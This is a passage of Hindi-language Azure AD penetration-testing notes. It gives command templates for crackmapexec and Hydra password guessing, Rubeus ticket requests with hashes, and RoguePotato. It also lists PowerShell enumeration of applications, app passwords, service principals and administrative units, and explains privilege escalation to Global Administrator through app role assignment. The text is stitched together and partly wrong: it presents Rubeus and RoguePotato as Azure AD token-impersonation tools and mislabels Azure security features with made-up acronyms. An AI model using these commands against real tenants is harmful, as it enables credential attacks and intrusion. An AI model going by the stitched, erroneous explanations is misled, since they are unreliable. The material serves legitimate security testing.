crackmapexec smb <TARGET> -u <USERNAME> -p <PASSWORD>

Hydra

hydra -l <USERNAME> -P <PASSWORD_LIST> <TARGET> <PROTOCOL>

Token Impersonation

To impersonate tokens in Azure AD, you can use tools like Rubeus or RoguePotato.

Rubeus

Rubeus.exe asktgt /user:<USERNAME> /rc4:<HASH> /domain:<DOMAIN> /password:<PASSWORD>

RoguePotato

RoguePotato.exe -rce
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

हम अपने पेंटेस्टिंग लैब के लिए Az PowerShell का उपयोग करेंगे। इसके लिए, हमें Az PowerShell मॉड्यूल को इनस्टॉल करना होगा। आप निम्नलिखित कमांड का उपयोग करके Az PowerShell मॉड्यूल को इनस्टॉल कर सकते हैं:

Install-Module -Name Az -AllowClobber -Scope CurrentUser

इसके बाद, आप Az PowerShell मॉड्यूल को इम्पोर्ट कर सकते हैं:

Import-Module Az

इसके बाद, आप Az PowerShell कमांड्स का उपयोग करके Azure AD पर पेंटेस्टिंग कर सकते हैं।

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

एक ऐप जिसमें अनुमति AppRoleAssignment.ReadWrite है, वह खुद को भूमिका देकर ग्लोबल व्यवस्थापक बना सकता है। अधिक जानकारी के लिए यह देखें

एक गुप्त स्ट्रिंग जो एप्लिकेशन अपनी पहचान साबित करने के लिए उपयोग करता है जब एक टोकन का अनुरोध करता है, वह एप्लिकेशन पासवर्ड है। इसलिए, अगर आप इस पासवर्ड को पाते हैं तो आप सेवा प्रिंसिपल के रूप में टेनेंट के अंदर पहुंच सकते हैं। ध्यान दें कि यह पासवर्ड केवल जब उत्पन्न होता है तब ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन आप इसे फिर से प्राप्त नहीं कर सकते)। एप्लिकेशन के मालिक इसे पासवर्ड जोड़ सकता है (ताकि वह इसकी प्रतिनिधित्व कर सके)। इन सेवा प्रिंसिपल के रूप में लॉगिन रिस्की नहीं होते हैं और उनके पास MFA नहीं होता है

अनुप्रयोग और (एंटरप्राइज एप्लिकेशन या सेवा प्रिंसिपल) का अंतर

एज़्यूर में एप्लिकेशन और सेवा प्रिंसिपल के बीच अंतर:

  • एप्लिकेशन/एप्लिकेशन पंजीकरण: वे एप्लिकेशन हैं जो आपके एज़्यूर एडी में मौजूद हैं

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • सेवा प्रिंसिपल/एंटरप्राइज एप्लिकेशन: आपके एज़्यूर एडी में सुरक्षा वस्तुएं जो एज़्यूर डायरेक्ट्री में विशेषाधिकार रख सकती हैं और या तो आपके एप्लिकेशन से जुड़ी होती हैं या तीसरी पक्षीय एप्लिकेशन से जुड़ी होती हैं

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • यदि वे बहुत संवेदनशील हों तो दिए गए अनुमतियों को मंजूरी देने की आवश्यकता हो सकती है।

एक एप्लिकेशन एक तीसरे पक्ष किरायेदार टेनेंट को चला सकता है और एक बार जब आप इसका उपयोग करना शुरू करते हैं और उसे पहुंच देते हैं तो आपके टेनेंट में एक एंटरप्राइज एप्लिकेशन/सेवा प्रिंसिपल बनाया जाता है ताकि इसे उस जानकारी तक पहुंच मिल सके जिसकी आवश्यकता है।

प्रशासनिक इकाइयाँ

उपयोगकर्ताओं के बेहतर प्रबंधन के लिए उपयोग किया जाता है।

प्रशासनिक इकाइयाँ आपके संगठन के किसी भी हिस्से में अनुमतियों को प्रतिबंधित करती हैं जिसे आपने परिभाषित किया है। आप उदाहरण के लिए प्रशासनिक इकाइयों का उपयोग करके हेल्पडेस्क प्रशासक भूमिका को क्षेत्रीय समर्थन विशेषज्ञों को सौंप सकते हैं, ताकि वे केवल उन क्षेत्र में उपयोगकर्ताओं का प्रबंधन कर सकें जिनका समर्थन करते हैं।

इसलिए, आप प्रशासनिक इकाइयों को भूमिकाएँ सौंप सकते हैं और इसके सदस्यों के पास यह भूमिकाएँ होंगी।

यहाँ हम आज के दिन में आम तौर पर देखने को मिलने वाले Azure AD सुरक्षा समस्याओं के बारे में चर्चा करेंगे। इस अध्याय में, हम विभिन्न Azure AD हैकिंग तकनीकों को देखेंगे जो आपको अपनी संगठन की सुरक्षा में कमी की खोज में मदद कर सकती हैं। यह तकनीक आपको अपने Azure AD की सुरक्षा को सुधारने के लिए एक मजबूत आधार प्रदान कर सकती हैं।

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Azure AD आईडेंटिटी सुरक्षा (AIP)

Azure AD आईडेंटिटी सुरक्षा (AIP) एक सुरक्षा सेवा है जो स्वचालित पहचान और सुधार का उपयोग करती है ताकि यूज़र आईडेंटिटी को कम्प्रोमाइज़ होने से बचाए जा सके। AIP निरंतर यूज़र साइन-इन्स और आईडेंटिटी कॉन्फ़िगरेशन का जोखिम मॉनिटर करती है, स्वचालित रूप से उचित सुरक्षा उपाय लागू करती है, जैसे कि मल्टी-फैक्टर प्रमाणीकरण की आवश्यकता होना या संभावित खतरनाक गतिविधियों को ब्लॉक करना। यह संगठनों को आईडेंटिटी-आधारित सुरक्षा उल्लंघनों से बचाने में मदद करता है।

फ़्लो:

  1. Azure AD आईडेंटिटी सुरक्षा यूज़र गतिविधियों का मॉनिटरिंग करती है और यूज़र साइन-इन्स, प्रमाणीकरण घटनाएँ और अन्य संबंधित गतिविधियों पर डेटा एकत्र करती है।

  2. सेवा मशीन लर्निंग एल्गोरिदम का उपयोग करती है इस डेटा का विश्लेषण करने और संभावित सुरक्षा खतरों का पता लगाने के लिए।

  3. Azure AD आईडेंटिटी सुरक्षा खतरे को एक स्तर आवंटित करती है (जैसे साइन-इन) और आवश्यक होने पर एक अलर्ट जेनरेट करती है ताकि स्वचालित कार्रवाई की जा सके।

Azure AD पासवर्ड सुरक्षा (APP)

Azure AD पासवर्ड सुरक्षा (APP) एक सुरक्षा सुविधा है जो अच्छे पासवर्ड नीतियों को लागू करके Azure Active Directory में कमजोर पासवर्डों से बचाने में मदद करती है। APP सामान्य रूप से उपयोग किए जाने वाले कमजोर पासवर्डों और उनके वेरिएंट्स को ब्लॉक करती है, पासवर्ड संबंधित उल्लंघनों के जोखिम को कम करती है। इसे बादल स्तर पर और स्थानीय एक्टिव डायरेक्टरी पर दोनों लागू किया जा सकता है, संगठन में कुल में पासवर्ड सुरक्षा को बढ़ावा देते हुए।

संदर्भ

Last updated